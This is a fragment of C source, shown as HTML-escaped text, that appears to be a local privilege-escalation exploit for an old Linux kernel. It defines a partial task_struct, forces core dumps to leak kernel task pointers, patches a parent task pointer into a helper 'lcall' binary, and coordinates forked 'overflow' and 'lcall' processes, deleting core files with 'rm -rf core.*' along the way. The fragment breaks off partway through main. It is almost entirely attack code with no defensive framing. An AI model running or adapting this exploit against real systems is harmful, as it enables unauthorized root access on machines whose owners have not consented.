&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
state;&nbsp;&nbsp;&nbsp; /* -1 unrunnable, 0 runnable, &gt;0
stopped */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
flags;&nbsp;&nbsp;&nbsp; /* per process flags, defined below */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
sigpending;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
long&nbsp; addr_limit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*
thread address space:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xBFFFFFFF for user-thead<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xFFFFFFFF for kernel-thread<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*/<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct exec_domain
*exec_domain;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
need_resched;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
ptrace;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
lock_depth;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Lock
depth */<br>
&nbsp;<br>
&nbsp;/*<br>
&nbsp; * offset 32 begins here on 32-bit platforms. We keep<br>
&nbsp; * all fields in a single cacheline that are needed for<br>
&nbsp; * the goodness() loop in schedule().<br>
&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long counter;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long nice;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
policy;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int processor;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
cpus_runnable is ~0 if the process is not running on any<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * CPU. It's
(1 &lt;&lt; cpu) if it's running on a CPU. This mask<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * is updated
under the runqueue lock.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * To
determine whether a process might run on a CPU, this<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * mask is
AND-ed with cpus_allowed.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
cpus_runnable, cpus_allowed;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * (only the
'next' pointer fits into the cacheline, but<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * that's
just fine.)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
run_list;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
sleep_time;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*next_task, *prev_task;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void
*active_mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
local_pages;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int
allocation_order, nr_local_pages;<br>
&nbsp;<br>
&nbsp;/* task state */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *binfmt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int exit_code,
exit_signal;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
pdeath_signal;&nbsp; /*&nbsp; The signal sent when the parent
dies&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ??? */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
personality;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
did_exec:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
task_dumpable:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t
tty_old_pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t session;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t tgid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* boolean value
for session group leader */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int leader;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * pointers
to (original) parent process, youngest child, younger sibling,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * older
sibling, respectively.&nbsp; (p-&gt;father can be replaced with<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
p-&gt;p_pptr-&gt;pid)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
thread_group;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* PID hash table
linkage. */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*pidhash_next;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
**pidhash_pprev;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
list_head&nbsp;
wait_chldexit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* for
wait4() */<br>
};<br>
<br>
static int read_coredump(int pid)<br>
{<br>
&nbsp;&nbsp; &nbsp;char corefile[128];<br>
&nbsp;&nbsp; &nbsp;char _task[0x1000];<br>
&nbsp;&nbsp; &nbsp;FILE *fd=NULL;<br>
&nbsp;&nbsp; &nbsp;int tmp_size;<br>
&nbsp;&nbsp; &nbsp;int rd_len=0;<br>
&nbsp;&nbsp; &nbsp;struct task_struct *ptask;<br>
//&nbsp;&nbsp; &nbsp;task_struct *task_s;<br>
&nbsp;&nbsp; &nbsp;Elf32_Ehdr ehdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Phdr phdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Nhdr nhdr;<br>
<br>
&nbsp;&nbsp; &nbsp;memset(corefile,0,sizeof(corefile));<br>
&nbsp;&nbsp; &nbsp;memset(_task,0,sizeof(_task));<br>
&nbsp;&nbsp; &nbsp;sprintf(corefile,"./core.%d",pid);<br>
&nbsp;&nbsp; &nbsp;printf("opening:%s\n",corefile);<br>
&nbsp;&nbsp; &nbsp;if((fd=open(corefile,O_RDONLY))==NULL)<br>
&nbsp;&nbsp; &nbsp;{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open coredump
file:");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;exit(-1);<br>
&nbsp;&nbsp; &nbsp;}<br>
//&nbsp;&nbsp; &nbsp;lseek(fd,sizeof(Elf32_Ehdr),SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;read(fd,&amp;ehdr,sizeof(Elf32_Ehdr));<br>
&nbsp;&nbsp; &nbsp;read(fd,&amp;phdr,sizeof(Elf32_Phdr));<br>
/*<br>
&nbsp;&nbsp; &nbsp;printf("sizeof
Elf32_Ehdr:%x\n",sizeof(Elf32_Ehdr));<br>
&nbsp;&nbsp; &nbsp;printf("ehdr.e_phoff:%x\n",ehdr.e_phoff);<br>
&nbsp;&nbsp; &nbsp;printf("ehdr.e_phnum:%x\n",ehdr.e_phnum);<br>
&nbsp;&nbsp; &nbsp;printf("phdr.p_type:%x\n",phdr.p_type);<br>
&nbsp;&nbsp; &nbsp;printf("phdr.p_offset:%x\n",phdr.p_offset);<br>
&nbsp;&nbsp; &nbsp;printf("phdr.p_filesz:%x\n",phdr.p_filesz);<br>
*/<br>
&nbsp;&nbsp; &nbsp;//read Elf32_Nhdr elf_note<br>
&nbsp;&nbsp; &nbsp;lseek(fd,phdr.p_offset,SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;while(1){&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;read(fd,&amp;nhdr,sizeof(Elf32_Nhdr));<br>
&nbsp;&nbsp; &nbsp;if(nhdr.n_type==0x4)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
//&nbsp;&nbsp; &nbsp;printf("%x\n",nhdr.n_descsz);<br>
&nbsp;&nbsp; &nbsp;lseek(fd,nhdr.n_descsz+4,SEEK_CUR);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;lseek(fd,4,SEEK_CUR);<br>
&nbsp;&nbsp; &nbsp;rd_len=read(fd,&amp;_task,nhdr.n_descsz);<br>
&nbsp;&nbsp; &nbsp;ptask=(struct task_struct *)&amp;_task;<br>
//&nbsp;&nbsp; &nbsp;printf("pid: %d\n",ptask-&gt;pid);<br>
<br>
&nbsp;&nbsp; &nbsp;y_task = ptask-&gt;p_ysptr;<br>
&nbsp;&nbsp; &nbsp;o_task = ptask-&gt;p_osptr;<br>
<br>
&nbsp;&nbsp; &nbsp;if (!first_o_task)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;first_o_task = o_task;<br>
<br>
&nbsp;&nbsp; &nbsp;if (!parent_task)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;parent_task =
ptask-&gt;p_pptr;<br>
<br>
//&nbsp;&nbsp; &nbsp;printf("parent: %p\n", ptask-&gt;p_pptr);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
&nbsp;&nbsp; &nbsp;<br>
}<br>
<br>
static int check_coredump(int pid)<br>
{<br>
&nbsp;&nbsp; &nbsp;int n;<br>
&nbsp;&nbsp; &nbsp;if (read_coredump(pid) == -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return 0;<br>
<br>
&nbsp;&nbsp; &nbsp;n = ((long) y_task - (long) first_o_task) /
8192;<br>
&nbsp;&nbsp; &nbsp;printf("parent: %p overflow: %p lcall: %p
[%d]\n",<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;parent_task, first_o_task, y_task, n);<br>
<br>
&nbsp;&nbsp; &nbsp;if (n &gt; 0 &amp;&amp; n &lt;= 10)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return 1;<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
}<br>
<br>
static void make_coredump()<br>
{<br>
&nbsp;&nbsp; &nbsp;struct rlimit rl;<br>
&nbsp;&nbsp; &nbsp;int res;<br>
<br>
&nbsp;&nbsp; &nbsp;rl.rlim_cur = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;rl.rlim_max = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;res = setrlimit(RLIMIT_CORE, &amp;rl);<br>
&nbsp;&nbsp; &nbsp;if (res != 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("setrlimit");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;*(int *) 0 = 0;<br>
}<br>
<br>
static int fix_lcall()<br>
{<br>
&nbsp;&nbsp; &nbsp;int fd;<br>
<br>
&nbsp;&nbsp; &nbsp;fd = open(BINELF_LCALL, O_RDWR);<br>
&nbsp;&nbsp; &nbsp;if (fd == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open
"BINELF_LCALL);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return -1;<br>
&nbsp;&nbsp; &nbsp;}&nbsp;&nbsp; &nbsp;<br>
<br>
&nbsp;&nbsp; &nbsp;/* virtual address 0x00000000:<br>
&nbsp;&nbsp; &nbsp; * [execdomain name pointer][handler for
syscalls][stack &amp; register save][jmp code][task pointer of
parent])<br>
&nbsp;&nbsp; &nbsp;
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4<br>
&nbsp;&nbsp; &nbsp; */<br>
&nbsp;&nbsp; &nbsp;lseek(fd, 8192+4+4+8+4, SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;parent_task,
sizeof(parent_task));<br>
&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
}<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp; &nbsp;int pipe_of[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int pipe_lcall[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int pipe_mcd[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int mcd_pid, lcall_pid, copy_pid;<br>
&nbsp;&nbsp; &nbsp;int status;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
<br>
&nbsp;&nbsp; &nbsp;if (pipe(pipe_of) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("pipe overflow");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe(pipe_mcd) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("pipe
make_coredump");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe(pipe_lcall) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("pipe_lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;/* overflow process */<br>
&nbsp;&nbsp; &nbsp;if (fork() == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char cmd[32];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (read(pipe_of[0], cmd,
sizeof(cmd)) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;perror("read pipe_of");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (strncmp(cmd, "start", 5)
== 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char *p[]
= {BINELF_OVERFLOW, cmd+5, 0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;execve(BINELF_OVERFLOW, p, 0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;perror(BINELF_OVERFLOW);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if (strcmp(cmd, "stop")
== 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fprintf(stderr, "pipe_of
command \"%s\" error!\n", cmd);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;exit(1);&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;while (1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* make coredump file process
*/<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if ((mcd_pid = fork()) == 0)
{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char
cmd[8];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(read(pipe_mcd[0], cmd, sizeof(cmd)) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;perror("read pipe_mcd");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(strcmp(cmd, "start") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;make_coredump();<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;fprintf(stderr, "make coredump file
failed!\n");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if
(strcmp(cmd, "stop") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;fprintf(stderr, "pipe_mcd command \"%s\" error!\n", cmd);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(1);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* lcall process */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if ((lcall_pid = fork()) ==
0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char
cmd[8];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(read(pipe_lcall[0], cmd, sizeof(cmd)) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;perror("read pipe_lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(strcmp(cmd, "start") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;char *p[] = {BINELF_LCALL, 0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;execve(BINELF_LCALL, p, 0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;perror(BINELF_LCALL);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if
(strcmp(cmd, "pause") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;pause();<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(0);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if
(strcmp(cmd, "stop") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;fprintf(stderr, "pipe_lcall command \"%s\" error!\n",
cmd);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(-1);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;write(pipe_mcd[1], "start",
6);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;sleep(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;while (1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(waitpid(mcd_pid, &amp;status, 0) &lt; 0)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (!check_coredump(mcd_pid))
{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;write(pipe_lcall[1], "pause", 6);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;system("rm
-rf core.*");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;if (fix_lcall() == -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
<br>
&nbsp;&nbsp; &nbsp;if ((copy_pid = fork()) == 0) {<br>
